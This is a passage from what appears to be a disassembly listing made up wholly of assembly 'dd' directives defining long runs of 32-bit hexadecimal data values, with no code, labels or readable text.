		dd 0FB020074h, 847E4651h, 0D0006CD6h, 0E239853Eh, 0E091137Fh
		dd 8E2928F3h, 10733F68h, 3FE3A062h, 0BE130621h,	0C00051BBh
		dd 76D70405h, 822F399Fh, 6C90AE74h, 19079C8h, 0E7EA934h
		dd 8E31F732h, 6A910248h, 170E909Ah, 6F110341h, 0F7303888h
		dd 1A00D13Ah, 911E966Ah, 4E0036E6h, 7D66D8E5h, 2A9884E4h
		dd 0D0A6E8h, 0C835C6ABh, 6519EF26h, 1E21BC00h, 77C76F15h
		dd 0CDA03052h, 98AF92E8h, 0C1759427h, 0F6C40A80h, 1690C359h
		dd 0A983E6F3h, 7EF2915h, 6F6C00B4h, 0A42CB1DBh,	0B72E0BC9h
		dd 0DC8413F6h, 38CCACF1h, 0B5FB09DDh, 28B052A7h, 9D844BE1h
		dd 0D83DB887h, 67470D01h, 0F2C28F8Eh, 0BA1100C0h, 4E4379E2h
		dd 93005A3Dh, 201BA7DCh, 61CB342h, 3622EB63h, 0A80C507Ch
		dd 68AAF1F4h, 59400206h, 5E8BD2F9h, 5072052h, 0E1653690h
		dd 8380FA90h, 61A800ECh
		dd 455BD719h, 171D7EB1h, 6E08D276h, 49208081h, 3BCB0EEFh
		dd 0B1403403h, 0E0EB54F5h, 0F6E1F2h, 0F0910BE6h, 271385C2h
		dd 7360ACBCh, 74365414h, 2C536474h, 713CB9A7h, 643F4200h
		dd 0F86B3388h, 38480028h, 5A119DFFh, 0DA03CD82h, 0FA849568h
		dd 0E8512510h, 56CB5CC8h, 951CFD00h, 7234497Bh,	7FB000FBh
		dd 62F374C9h, 8664E312h, 0F8FC5680h, 91C55806h,	449EA935h
		dd 3804ED9Dh, 0B7409CE6h, 0EB5B9CEh, 11A2C709h,	67A05016h
		dd 10D621A3h, 12143BB9h, 0AC80D34Fh, 0F2919737h, 0E4403FEh
		dd 77AAA2BFh, 0CA5013B8h, 5B05C8A4h, 8E21A9F9h,	8496F801h
		dd 0D9800904h, 0F96A509Dh, 18C892D6h, 1982840Dh, 2774FC9Ah
		dd 2D46833h, 99412589h,	11B308C8h, 0DC9E5486h, 4E8624DDh
		dd 0AB004F9Ch, 0FEE0DF3Eh, 93325A06h, 60084206h, 35CC2199h
		dd 462878DFh, 4D389C8Fh, 6C50D01Eh, 8C664F3Ah, 90766A19h
		dd 2E17206h, 829AF721h,	6474BE11h, 50E45E13h, 0BF371CB1h
		dd 19FFC0DDh, 0A9E6D1C4h, 0DEF90B09h, 0B9580295h, 118801B8h
		dd 5E8C24BDh, 0F5418D60h, 80EDC8h, 0CD17FA1Eh, 75656FBAh
		dd 3204C2EAh, 6ED68649h, 0DB00C4EDh, 0FB1901DAh, 214B260Bh
		dd 124A588Ch, 0F0E71A14h, 0A3096F9Ch, 82BEE139h, 4038DB1Ch
		dd 188D5150h, 8D3DD30h,	79540A90h, 87726580h, 9D401498h
		dd 0DC823AA8h, 5DD00800h, 80313033h, 0C0EB3A27h, 281E6120h
		dd 2063E6h, 0CE5CB8A7h,	8FB35A0Fh, 0C4C3084Ah, 48210074h
		dd 0D47B5C4Dh, 600F17Eh, 0E9938AA9h, 480DF307h,	11296037h
		dd 1133EE4h, 0DC5000CDh, 0F0898D6Ah, 54D40F54h,	0AA15DD01h
		dd 0A1A85266h, 0F8E33DD5h, 77ECEFDh, 3E6DB30Bh,	6E670DDh
		dd 0A17ED2B1h, 68B7A724h, 23CF308h, 0B5959110h,	1A049076h
		dd 0FA013F7Fh, 23A675A9h, 40FE3A60h, 6ED70497h,	82F673B3h
		dd 32304A3Ch, 0FEE411DFh, 808D883Ah, 5FDF29C8h,	1202A362h
		dd 1BCDAC07h, 0B898561Ch, 49D4BC1Fh, 10007AC2h,	60968DCAh
		dd 0FB863000h, 2E6FA4F7h, 0C5B2A31h, 90E904D0h,	0ADEEC00Fh
		dd 7F1F76C8h, 0CDC2D9B0h, 68C5F37Eh, 217B794h, 42EB2B59h
		dd 0CC697862h, 0E8402FEFh, 8B9C0D9h, 0B1A40244h, 7E6F3B31h
		dd 0D415C448h, 1B20A101h, 0C2C323Fh, 15C0F060h,	0D07D40DFh
		dd 0E5230894h, 0CD5CB701h, 7118420Fh, 1503988h,	9607E75Ch
		dd 0CDC6F52Ch, 1B38E414h, 60C8129Dh, 0C092E92Ch, 115B80C9h
		dd 3700E469h, 8697678Bh, 0CFA2711Ch, 2D2FD620h,	0FA9FFBA0h
		dd 21B5888Dh, 0B6817ACh, 48A6D060h, 8606E0ABh, 2121948Eh
		dd 82039017h, 0BD985020h, 91011650h, 0E5CE0CDh,	4B70213h
		dd 894C3CE0h, 735EE492h, 510D4D00h, 533D74F6h, 274E2458h
		dd 80501110h, 0FEDEDF40h, 90448C4Ah, 0DF3700C6h, 46DA7A53h
		dd 6B02795Dh, 1F0A0E10h, 4118EA3Bh, 0ED018B88h,	58606F9Fh
		dd 800C3B1Ah, 6C9181DEh, 5F02AE02h, 873F0009h, 84509A21h
		dd 9E270B80h, 0AD4661Dh, 0B2220729h, 0C4CD8E90h, 0FD89680h
		dd 8562AD81h, 0C2E6E478h, 133E8FFCh, 271BCC44h,	0BE4DB33h
		dd 805263h, 0FFB57508h,	168EC239h, 0B8E82F00h, 79D78214h
		dd 102D7E55h, 2010913Bh, 2DD6292h, 74C0EAA3h, 30B2C51Dh
		dd 8210144Dh, 5C636E35h, 200F3CD8h, 8F0AF193h, 412E82E4h
		dd 0BCE09EEFh, 2B17A2C4h, 0C011674h, 34CDDC6h, 58A7B3F5h
		dd 28826CEAh, 0ECC4EED5h, 48DD3D00h, 0AFE28540h, 0D2A03383h
		dd 21000108h, 3548E55Fh, 98D91185h, 0C0189DECh,	0DA011CA5h
		dd 92B09C56h, 75F44D2Fh, 3C1907B8h, 0DB8DF08Eh,	5914C810h
		dd 0E697F601h, 0E751A133h, 27C3E080h, 9DE1FBFEh, 47DA8CBh
		dd 0D0612AE4h, 0D70ECCB9h, 0DC9A448Ch, 3DB9D800h, 0F77E907Ah
		dd 9F9C0337h, 83DDFDF3h, 1D8F023h, 853148E4h, 887218DAh
		dd 4800EC5Ah, 0BF6E566Dh, 1524C6Fh, 0F9C80727h,	30B6CEC6h
		dd 59486C08h, 9AD98458h, 0FC72270Bh, 0C083B7E0h, 130ED6F6h
		dd 0E20B0F12h, 70C2203Ch, 0B7C007E5h, 9011E927h, 0A334DB55h
		dd 0F6D0A41Eh, 81062104h, 0F312E0ECh, 1C089241h, 0C901C64h
		dd 0A9EF920h, 60CB099Ch, 0D1CC29D0h, 36C41992h,	7A200FCh
		dd 9A1E27F4h, 0DD098102h, 440C9B03h, 74E7120Ch,	70808B7h
		dd 0DE906082h, 0D2088912h, 4F88C8D8h, 0F1DF31C3h, 0F61932FEh
		dd 0DF38C520h, 0DC2D002Bh, 0CB0BCE90h, 0BEE0DB4Dh, 37460C92h
		dd 0B6B9D302h, 0A131CF0Eh, 0B9DBD710h, 88EEDF16h, 0CA2450B3h
		dd 0C6850838h, 3193E50Ch, 9F9762Fh, 36324BB1h, 0A11A7D0Eh
		dd 0B4F1EC09h, 8441C200h, 116AA0Bh, 432A01C3h, 0EC2D4512h
		dd 9220698h, 88EC818Fh,	0CC38E3FAh, 0B40834C5h,	0E54D0DD2h
		dd 601846D8h, 7C049700h, 0B6907EEFh, 60125C15h,	0DF03403Bh
		dd 9391FC86h, 0D844B044h, 63B27600h, 4FB82D9Fh,	1098001Bh
		dd 0DDCE0BBEh, 4896F9A1h, 0D76F12h, 36C01EB7h, 1D98A464h
		dd 0C1A66CCFh, 872B8D7Bh, 348EFD19h, 80E60B8Ch,	1390F701h
		dd 0D931AB4h, 5ECEBC34h, 0F4A8906Fh, 3F00B622h,	0F3E04538h
		dd 3C5D038Dh, 98021080h, 110E8457h, 0DF1C24C4h,	206E2862h
		dd 2AB10309h, 0DC11D0F8h, 3F48E087h, 4C4FAA8h, 48E85E40h
		dd 511C2CE1h, 98B14B0Ah, 0A4DF1B44h, 91F3FE41h,	0EEF05C8Ah
		dd 9C58DE02h, 0D481FE8Fh, 0C09580D0h, 0F13EA790h, 0AF6A2E00h
		dd 5036DBF5h, 8D4E0614h, 10D5E730h, 0C80CCC82h,	6CA0EE08h
		dd 8A0B256Ch, 0D2E4053Dh, 701CA4F8h, 40FCA235h,	69EC2BDCh
		dd 7C0219FEh, 53C0DFCEh, 0E2E9E1C3h, 889D8090h,	6431A12Eh
		dd 4311A4CAh, 0D9DF3D80h, 448C52FEh, 3400C99Ch,	122CF5DFh
		dd 7D3AF6BCh, 72111301h, 89B487ADh, 98D8ED0Bh, 4A2C70B3h
		dd 6CC54912h, 1E704480h, 178BBECh, 0FD05CB2h, 887F184Ah
		dd 5C004F3Ah, 8AC67A30h, 1CC20B4h, 88981427h, 0AC7DAE11h
		dd 0BD0878D0h, 222A04B3h, 0B84CF4FEh, 0A4D3E55Ah, 4C3AE088h
		dd 460C0ED5h, 0F3038C67h, 380C9F09h, 0C84E0B73h, 0D4A641A1h
		dd 0D0B08246h, 2188DA25h, 0A66ECFB0h, 46A411A0h, 7C3F264Dh
		dd 0A48CCC20h, 7FCB8E44h, 7C560136h, 4CDABECAh,	8D70900Fh
		dd 0CF3A1404h, 0E814B425h, 5CB6048Ch, 0A26A0FD4h, 4346C00Ch
		dd 1E484A5Ch, 0C07B560Ah, 802DF8F7h, 4927166Eh,	581C0C06h
		dd 4B048CE1h, 620FD15Ch, 45207362h, 2E545C44h, 85CEE10h
		dd 0AC4E124Bh, 392DD994h, 0F292079Ch, 0C79090EEh, 98073767h
		dd 8A6D0C2Ah, 0B1AC640h, 3140C101h, 8C05E5h, 0A186B11Ch
		dd 9FD2DEB4h, 809211ACh, 2724783Dh, 8BF60E57h, 6682F47Bh
		dd 0E444161Bh, 0E1037E08h, 0A36700B2h, 807DC00Bh, 2F871A12h
		dd 73C8D0CEh, 9E29ABC0h, 31AC006Bh, 0E16C177Dh,	5CB227E5h
		dd 0C5EE4509h, 0A02CEB14h, 961F1B3Ah, 52E8969Ch, 0BF0C384h
		dd 7BA02901h, 0DEF1CE80h, 0CE15FBC3h, 904A01B8h, 3EB7B634h
		dd 0D99850EFh, 3549990Fh, 9EE40B24h, 1FCC7AF4h,	4963C09Dh
		dd 6CE4EC91h, 0D1023546h, 0FF0E4CB9h, 0F2179F31h, 8AE0B9D9h
		dd 0BB069DAFh, 7873020Dh, 0B8F025C0h, 18DB0411h, 3E4808DFh
		dd 0EC4D285h, 48E75D41h, 76ED4029h, 0AE12CA10h,	0BC80EB32h
		dd 64926C07h, 32EDB845h, 0B9D43036h, 0F70E4B10h, 0B9DCD8E0h
		dd 143A7A00h, 45171240h, 398516D0h, 0C938C01Ah,	955F8979h
		dd 84CEF0C2h, 0ECFC72C0h, 5E3AB002h, 9C441E3Eh,	0B502E746h
		dd 520FD35Ch, 47107C31h
		dd 0F5005C4Eh, 9E6A42DFh, 4FF176Ch, 121D502Ah, 0FEDCF04Ah
		dd 9658B1E6h, 0CEDA885Ch, 0D43B48E7h, 35438EAh,	0A29C48E2h
		dd 0D0A830F8h, 335B1214h, 683FE4C1h, 0EB8CC28h,	6371098Ch
		dd 84873CAEh, 586819A5h, 42864007h, 408E3A76h, 0BAFF00D1h
		dd 4AEDFC6Fh, 7E123133h, 0A4D00A0Eh, 9EE4EA36h,	44164BCh
		dd 2C432F7Bh, 0E6D2818Eh, 1F0ED05Ah, 0E02467D6h, 3D746297h
		dd 0B8710764h, 11A38F16h, 0F950CB41h, 63B0E8A1h, 17E9B49Eh
		dd 857411A0h, 5CC1596Dh, 0D04080EEh, 0F996839h,	85A7111h
		dd 50F217h, 0A7CF3C67h,	9B45Ch,	7F95D401h, 86D72448h, 8E0AB01h
		dd 0CEDD40BAh, 51BF6C20h, 54284C30h, 5E43512h, 0CFBC9D43h
		dd 0C00E885Ch, 0AD588CAh, 581668C0h, 24AA8027h,	740067F3h
		dd 7C7D7746h, 959F00D5h, 0C57A0918h, 61956591h,	203396A0h
		dd 0C531A4F2h, 1CBDEEC8h, 0FE19684Bh, 73F22189h, 1010ACE9h
		dd 77F359h, 8CEFB2Fh, 5B534F89h, 375EF400h, 3F23930Bh
		dd 953C9E63h, 2900C807h, 31541474h, 6D5E0D4Eh, 1BF06891h
		dd 0C7375980h, 39D216E1h, 50A29200h, 0FB45F9C5h, 1BD02B8h
		dd 87846E1Eh, 0A068100h, 7EBB0063h, 0F99860C9h,	0A917D44Dh
		dd 90A2E44Ch, 23A42F5Ah, 3041008Eh, 0FFC4753Eh,	19EE22h
		dd 7E4A1516h, 9366CBB6h, 0C38E4C00h, 120EEE27h,	5CC0951Fh
		dd 80096832h, 0E0390BFEh, 254188E0h, 0ECA4ADDAh, 54CB528Dh
		dd 2DC075C8h, 12318DA7h, 88141B0Eh, 9D20FB80h, 804894h
		dd 0CD012923h, 0DF0EB8B9h, 0D589A818h, 4B9C4h, 443A0ED6h
		dd 8E316341h, 36C84B02h, 0F91B12A3h, 0B38009Ch,	0DCF693D0h
		dd 3FF2F101h, 91028D74h, 0BF869570h, 98975087h,	0B4BC3512h
		dd 0DC347180h, 492622C9h, 5101FA27h, 4B94B8F7h,	8A9A2460h
		dd 7000CD9h, 0D0063503h, 825F45Dh, 0A43DF3B6h, 9E22D604h
		dd 1384ECF0h, 858D016h,	0E82D0868h, 0B4828E64h,	1FF19C98h
		dd 85D43C0h, 494A391Bh,	898AECE0h, 1956165h, 9539D4h, 12581473h
		dd 0A8A1A9F9h, 84970B3Ch, 8DC6803h, 9452491Ah, 81DD7A04h
		dd 0C610F019h, 60563A5Ah, 7FB5240Fh, 9452028h, 145B6090h
		dd 11108385h, 82181904h, 9C69905Fh, 0EA999280h,	0FC4A4C3Fh
		dd 0CB0B2B10h, 44D099C9h, 0DF0B3C18h, 0E56AFEDAh, 33CA8020h
		dd 0EDFE3FDFh, 64A0AF0h, 3D0A0B1h, 0CDC94B9h, 8890D71Ah
		dd 99861918h, 17DC821h,	0A0A6AB27h, 89A7F211h, 478818h
		dd 1BE538FCh, 400CBEC6h, 34E77AE4h, 3000AEFEh, 472108C4h
		dd 6D96FEAh, 150B02B7h,	3AFA70DBh, 50864A31h, 0C03687FEh
		dd 0C4D861F0h, 718DD425h, 8C426B8h, 10043F2Fh, 28B091A1h
		dd 70452CCCh, 72465E4Ch, 7500983Fh, 1BE632C0h, 0D1E6FE0Bh
		dd 82C8B060h, 888D0221h, 80CF1247h, 8E12108Fh, 0F264A230h
		dd 22B4309Fh, 0CA75E012h, 99A96C00h, 903AC409h,	85632A44h
		dd 0E29F0FB8h, 41206F9Eh, 0CDFC9D01h, 0B298AD60h, 3D2A860Eh
		dd 8919CEB0h, 183488DFh, 49B90BD2h, 0C445E70Eh,	88DAB1BFh
		dd 55DC8325h, 2F0600E0h, 0B5308558h, 0F20B9989h, 45935D0Fh
		dd 80B1EF50h, 0D476E167h, 0F24D0441h, 886381BBh, 9E0037D4h
		dd 7239CF91h, 290FB92h,	0F4DF5EBh, 74703D99h, 10F4E448h
		dd 33CAB4E5h, 2417A5DCh, 0D4807F91h, 80E3F8DAh,	1D20F490h
		dd 797CB994h, 785618A4h, 997C3D36h, 8837E884h, 0C420AB60h
		dd 1D58396Bh, 4B9FC14Dh, 0F0C4A1C2h, 2F961444h,	0E00F8F3Ah
		dd 0C90AF9Fh, 0E525B351h, 9DE08901h, 80A31108h,	0E10BE5DEh
		dd 6E400A8h, 0C3D6B4E8h, 41128281h, 34043D9Ch, 874C844Ch
		dd 31422A18h, 701DC689h, 0D71C463Bh, 45FB0983h,	7D587C78h
		dd 1BBF10B4h, 4F9D6501h, 0C8808E73h, 32FF9F1Ah,	7DFD08B4h
		dd 96244285h, 8074B25Fh, 28D39930h, 81C80911h, 0C08229E1h
		dd 90549DF1h, 8420744h,	4858F612h, 484B0BE0h, 0E66B0C97h
		dd 81C6FEE8h, 613893D3h, 7B88A4CBh, 0DE9FA1C0h,	0D7461F80h
		dd 8F30821Ch, 205F058Ch, 6D82E384h, 38B90263h, 0EED0E87Eh
		dd 9B007864h, 0F5FDD5D2h, 0C745ECh, 0C5882A4Ch,	186044E3h
		dd 0CDF6B800h, 0FB32207h, 0C1C20456h, 0EAE537EBh, 4E2E5443h
		dd 2A82884Bh, 0E0810023h, 50A0B0CEh, 0AA00E30Dh, 0B83C7B05h
		dd 3A1C73Fh, 70E69B38h,	0B9EC90EBh, 81DE0470h, 412A725h
		dd 208D774h, 71111B68h,	2DF304F4h, 0E40213BCh, 3137B3Eh
		dd 0D1071203h, 27C24473h, 30B80954h, 8CC0F05Ch,	1FE614F9h
		dd 117552F0h, 4213341Fh, 0FF67EF40h, 17A8F99Fh,	8B1DDC79h
		dd 0CE9BC824h, 94BEFF40h, 609F4131h, 241293A8h,	42340DABh
		dd 180ABB2Dh, 82B823AFh, 40C68267h, 839886DCh, 87654E2h
		dd 83083308h, 29DB9D61h, 8C8556ABh, 112488B4h, 282F822h
		dd 744CF0FBh, 0DA586CECh, 12539044h, 0F8D8E776h, 12A02034h
		dd 0A02B0A0Eh, 75E40C60h, 48F3B3Eh, 0B6315880h,	30B1CC1h
		dd 0CD848201h, 4BD85085h, 38F7ACAFh, 85F842Ch, 10B21221h
		dd 0C4CB01E9h, 2140F320h, 0E7D2A213h, 608DC440h, 0C839B9h
		dd 5E570C29h, 18BD6B9Dh, 0E9BFE100h, 4612F007h,	45F091F9h
		dd 53BC5C40h, 0A274B059h, 94419A81h, 8E031371h,	0F0A4899Ah
		dd 4844886Fh, 7381E60Eh, 0DDE4654Fh, 8D551881h,	9E86400Ch
		dd 754656CCh, 512E4B02h, 76284F7h, 98201875h, 8D6D208Ch
		dd 695EF619h, 68E48A39h, 0D8EA00D2h, 26C72FA1h,	0CDFAE0FDh
		dd 79F2BE48h, 41A81662h, 2C071AA4h, 7A65A782h, 0D6CA73E0h
		dd 0ACF3E0D1h, 12219860h, 2D4A5309h, 139676CEh,	0D378A4F0h
		dd 0B68F5D00h, 27464FB1h, 0B3E39BBh, 0A9D52382h, 54E15675h
		dd 66020B5h, 22CC7C53h,	1ABC0998h, 0E49E1B43h, 0C469486Bh
		dd 0B89C3888h, 5CB7B080h, 0F12BB96Ch, 2F975102h, 82B28A38h
		dd 190A0F80h, 111FD2A3h, 237859Ah, 858DFC81h, 0B990C004h
		dd 0F890E44Ch, 0A27109F4h, 1DD00782h, 83028CA8h, 0C84E1D0h
		dd 0EC4E80FFh, 9C948738h, 6903FE40h, 9C38C1B6h,	3F12CE19h
		dd 8094046Ch, 5B270A14h, 0F900493Dh, 0F7B6828h,	8DAEE012h
		dd 0E4CFDE80h, 945C87D3h, 0F120600Ch, 90427C30h, 707048FCh
		dd 8C7CBCh, 5479DF12h, 35FA7848h, 873C670Eh, 0E854D321h
		dd 1488B1A8h, 0D810200h, 8C548648h, 7979C1E7h, 3EDA4B1Bh
		dd 388E2364h, 0D69DC08Fh, 18820D69h, 0ECC6A0C9h, 47803369h
		dd 60724428h, 0EAEADDD9h, 8D6601A1h, 659864D8h,	91688918h
		dd 20F064A7h, 821C9607h, 0F0E8CA19h, 0E8016490h, 6866BE64h
		dd 4049D997h, 103C48DCh, 0C8B00285h, 0E1538009h, 0B5BDD148h
		dd 8068323Eh, 2DB1AF24h, 0C28F961Ah, 75137E60h,	82858FC0h
		dd 37AF9CB1h, 92F80084h, 1C697F71h, 96ECD300h, 8666783Ch
		dd 952E1314h, 62A8A46Eh, 0ED8D4F00h, 0A96652F6h, 38120F8Bh
		dd 0B70B7867h, 0FC860861h, 84D344DCh, 0EDC42002h, 0E23C4174h
		dd 5C084C18h, 707A0FD2h, 5C004144h, 0F9CF13F2h,	0B0FDC630h
		dd 87570670h, 0F0698E19h, 0EB313802h, 89AA1622h, 1FA4F18Ch
		dd 0FE06CECCh, 0D6FAD8A0h, 1901A1AAh, 0F882295Dh, 4888BDE4h
		dd 702C7C86h, 112C972Dh, 0D7278076h, 13DCFF2Fh,	0A88D8499h
		dd 0DD2428h, 0C59A803Dh, 12223F66h, 631E4A85h, 0EBF1822Ch
		dd 4EA420DAh, 8BE621CBh, 0BA4B764h, 0C84547C9h,	66876500h
		dd 67EF10DBh, 80E63914h, 84F67E38h, 5F829801h, 14B73ECDh
		dd 0F2AA071h, 0DD0A1888h, 828E6180h, 2871A492h,	0DF92F71Fh
		dd 49CF4F8h, 0C0B7B5CDh, 0F5233547h, 3A020CF8h,	8B079FEBh
		dd 5E07C46h, 0DE806831h, 0B78B801Ch, 12664C50h,	0E41C1BB8h
		dd 0A0955E58h, 16CEE4FCh, 0B6C700BFh, 601E56F0h, 0CD0430E6h
		dd 0DDE75CFFh, 5B0B5CA3h, 98E56867h, 316001C4h,	0BCBC7E88h
		dd 91A1F640h, 874F00ECh, 84AF7838h, 8929CC9h, 311B020Ah
		dd 1984FC91h, 890871Ah,	27AE0A4Dh, 9461CF12h, 6B04061h
		dd 0D8252DC8h, 0E48C4DBh, 2CB64384h, 0C05CE232h, 4A17C811h
		dd 0DFB8027Bh, 0B31A0FD0h, 465ED45Eh, 1241039Ah, 890AC301h
		dd 2C612C4Eh, 74BCBC78h, 0BEC00F8Ch, 0B6646B87h, 0AC4CA968h
		dd 44879DA4h, 0DD194DEFh, 0E85FF00Fh, 80122E2h,	9F4D737h
		dd 383069EAh, 0C4140F36h, 0C85606A6h, 4520139Ch, 9C6706B4h
		dd 51060B84h, 0A0E4D09h, 31D4E0D3h, 38E73B4Eh, 17FB8BEh
		dd 681673A3h, 4D099106h, 0E5C06088h, 802FA141h,	9381999Ch
		dd 323EC8B2h, 8E5067A3h, 9C8891C4h, 18B11506h, 7869FCDEh
		dd 13B914D6h, 64A09194h, 85ECE7EDh, 59571E5Fh, 364E438Dh
		dd 1E884C7Eh, 23397D53h, 0B26B83Eh, 72C639F3h, 2FC3735Ch
		dd 88179107h, 0A902C6BAh, 2EFF44EFh, 37C46068h,	8ECEDD04h
		dd 94ACA73Ah, 0B75B0200h, 0B569F3FEh, 3977A8A4h, 986D8D18h
		dd 1934551h, 0C1AB0BEDh, 3001B462h, 0E800381Fh,	30E9A580h
		dd 2DE6FA2Fh, 3CC066EBh, 0F679B534h, 7B9DF700h,	0A198679Bh
		dd 46030702h, 99847DB9h, 504D437h, 8F5171Bh, 0B8834444h
		dd 0C4C8C52Eh, 0A4BC58F5h, 88508BE4h, 8488C09Fh, 79043616h
		dd 0D4910286h, 3D0128B8h, 0F2BB44EDh, 70DBF671h, 7DB7E370h
		dd 8101090Bh, 1410A62Dh, 20009412h, 0E3663706h,	2DBD4526h
		dd 846078Fh, 83E0C93Ch,	0DC20B312h, 0F49EB8A3h,	1CAB486Dh
		dd 638CD588h, 1A398Bh, 0EA555D9h, 0B9ECE0FBh, 690A9C03h
		dd 84907EC3h, 0A13704F4h, 1421CDDCh, 8D3F0BF1h,	487F53Ch
		dd 4A8C20B2h, 96073541h, 7F1A399Ah, 487C49BBh, 3A020A10h
		dd 120AB892h, 0A0808162h, 4CF69C12h, 0A98312E0h, 0E6CF4503h
		dd 0BC38220Dh, 320EB8C0h, 77092E7h, 1214CDDEh, 0C890C9A3h
		dd 0C129EF7h, 144B97F9h, 0A4380911h, 88B870D8h,	0F48C9EE8h
		dd 8E150B39h, 0C871AD68h, 1F4BD107h, 3D3792E0h,	99CE0217h
		dd 0CDDDBF86h, 1F34907Fh, 209E0059h, 864EFC7Ah,	48F22764h
		dd 22F78801h, 0D2F8E551h, 0DC08C93Eh, 281FDE67h, 0DF9FB063h
		dd 14D83280h, 0C93D731Ah, 50803EE9h, 0DD6C41E8h, 162474E2h
		dd 80202F58h, 0A4551410h, 0A3F6E912h, 12280970h, 74A470EEh
		dd 0C0967135h, 815414E9h, 0F2C90DDh, 65A50C04h,	6173E408h
		dd 0DC21E098h, 828423Ah, 8C71D91Bh, 5C303495h, 8C73AC34h
		dd 0E3100112h, 0D50048A2h, 8478B442h, 2C626009h, 9A2C1F0h
		dd 979B4F9h, 64B04618h,	0C80049ECh, 0E16D95B2h,	0B24F0A14h
		dd 0E0296214h, 0D0017C16h, 3A7A1EC4h, 29C2310h,	6BE280A1h
		dd 90DCC842h, 4CB06464h, 136EEB39h, 89E002D0h, 14708849h
		dd 0C898BFFEh, 0DDD45B01h, 7A038493h, 6CAEC983h, 515A635Eh
		dd 73C898CBh, 986455C0h, 1801FACCh, 789E4DA1h, 674A1296h
		dd 0D408A080h, 0D092F317h, 8E605358h, 0C080C8CCh, 0AE745458h
		dd 9DC29B1Dh, 6A61037Fh, 0C5FC88BFh, 4B1CB0A8h,	9F133DF1h
		dd 2454C27Eh, 0C4E73462h, 0FC60A844h, 0C00BD556h, 40CA2185h
		dd 0B7DE084Ch, 0D1065806h, 6BAE8E17h, 3C3D18B1h, 7F0048E8h
		dd 0D90BECDAh, 0C80E447h, 43131BC6h, 0E8995E59h, 14402507h
		dd 0F12092F0h, 6A290635h, 0F8DFF360h, 0D2588640h, 0D00C1EC9h
		dd 0D6FA1727h, 5D039804h, 0F290F252h, 1994300Eh, 0A1E09B00h
		dd 271A9CDDh, 0A90C803Bh, 31F3020Dh, 0B1FFCE1Eh, 0FC508C6Eh
		dd 2F564Fh, 1EF624CEh, 0B77E6C17h, 0C18892BFh, 61169ECh
		dd 48277A10h, 0FF3999A0h, 0BDB7785Fh, 92007837h, 4E8D485h
		dd 9D0F00F9h, 0EE27F46Ch, 8F17D8ADh, 0F852F184h, 44E5960Bh
		dd 5FBD0058h, 5384A424h, 6A002157h, 7F5537CBh, 69C41B02h
		dd 2300B0DCh, 0E48BF64h, 224E4DB0h, 9C34E4C1h, 4DE80603h
		dd 314F91C5h, 16614C96h, 81C33AAEh, 4C111FF8h, 58CD6CCh
		dd 853F48DEh, 790CECAh,	3048E660h, 0B408F34h, 50AC35DAh
		dd 41CDEE01h, 0E5315814h, 0D91142DAh, 189FD1B0h, 74630115h
		dd 0A0DF412h, 1AC795Bh,	48495D6h, 3B6F9616h, 7752360h
		dd 84BD3AEDh, 5004AADBh, 10021F2Fh, 0F62365A9h,	70FEA433h
		dd 0B6DD3704h, 96549D01h, 93F7C28Ah, 2D50092Fh,	7D8B0D3h
		dd 4AE00064h, 46BB01A8h, 0E6201985h, 0F9730978h, 0A80496D6h
		dd 7470F81Bh, 8D504016h, 128E90C8h, 7313BF02h, 314C9DC0h
		dd 0AFCE1714h, 206B4012h, 8C247C23h, 423E0A3Eh,	0BC07B3D6h
		dd 2ED17425h, 3822E65Dh, 4AF44C00h, 0B806640Ch,	315AF0E7h
		dd 32020AEAh, 8BE45552h, 40A0D402h, 4C116C80h, 32639F0Eh
		dd 2A4ECB85h, 0DC08806Ch, 964F09D2h, 0E805FD06h, 2EE53209h
		dd 0D9645986h, 3904189Eh, 177F8D92h, 0E4F984F0h, 0A12302Ch
		dd 0F8829612h, 8034560Bh, 8E887E9Ah, 28D3CE94h,	0EAC1BC9Bh
		dd 0CE03FEADh, 9C03CC74h, 2545E539h, 90645EF0h,	0AC981C00h
		dd 551643E9h, 0EDB50450h, 903CEFF8h, 0A6222A80h, 0B240095h
		dd 51C66E5h, 12068373h,	0EBF447C4h, 80D7FF0Fh, 0C73C9030h
		dd 0EE786EECh, 1F4C8BEh, 575C182Ah, 0F4D82444h,	8362C219h
		dd 48785E88h, 0E6610618h, 7DF7EAEAh, 0B4F8FCh, 0A8B643EDh
		dd 0B7FDCF25h, 1A84B0C8h, 0F80261A4h, 830FCEB8h, 0F4EF5140h
		dd 8C68F88Dh, 0F48C01ACh, 77167474h, 8570C8D4h,	8F90C314h
		dd 2CE2378Dh, 3D6F0A08h, 5DA90205h, 0C9F644E0h,	6C543998h
		dd 0C0244D2Fh, 79C29EFFh, 0D263B505h, 2CADEF7Eh, 321A3A05h
		dd 0DE10F0A6h, 0D9FC61E5h, 0EC50281Dh, 2E0E8C76h, 416BADAh
		dd 20ACF9F3h, 8E1A2804h, 501B43ACh, 87180AD4h, 1305E65h
		dd 0DCADDF07h, 546B2E70h, 0D0806739h, 82A5157h,	1F0002A5h
		dd 4BFC8D2Ch, 5D86221Dh, 9D207077h, 475F0F2Dh, 607BC4D4h
		dd 1DBB55h, 15C628EAh, 8101B6B7h, 0A4B0ED4Ah, 604D0017h
		dd 1684902Eh, 56128238h, 20088CFh, 98442CB8h, 0D53025Fh
		dd 7FB0EF5Bh, 0C0DB9862h, 6EF70h, 50AD90F1h, 0E894AAC0h
		dd 0FD70239Fh, 2203A81Eh, 247C00C6h, 4B02ABECh,	0DB3E5117h
		dd 9A242Fh, 5C1BFE85h, 9050F8B0h, 3A8F2048h, 9993202h
		dd 0F61EAB5Ah, 18EB74ECh, 92910904h, 0E85C155Fh, 0A1DD4EE0h
		dd 5C099DBDh, 463BA81Dh, 16494113h, 534E96Ch, 737FDE97h
		dd 1310E387h, 5C898DB4h, 9613B437h, 0BF0422Ah, 9500F068h
		dd 13FA8D3Ah, 344B442h,	454367C0h, 0B740288h, 0E163A116h
		dd 207908FCh, 0A20E7B08h, 0A62F8CC6h, 3D913FC8h, 62928097h
		dd 3FCD8D1h, 81DE8A05h,	0DCBD9A61h, 4594C10h, 2941910Ch
		dd 5B1688B8h, 0C697060Bh, 0ACB01185h, 20C45D4Eh, 2A3A58B2h
		dd 0A18518CCh, 9A05FC5h, 5840DF22h, 552EDD8Ah, 46765887h
		dd 98E030Ch, 9090FD18h,	3E16BD2Ch, 37515BEh, 8DE33C74h
		dd 91698A99h, 10A8C424h, 84929D89h, 0A9320167h,	0EBEA7C52h
		dd 8EE6222Fh, 3DFB0588h, 1406E041h, 0C2D8795h, 57F65F83h
		dd 80CFE2E8h, 4E85F20Eh, 0D8D96917h, 8B824048h,	0EC158081h
		dd 0F8B28314h, 0B4C3C0D1h
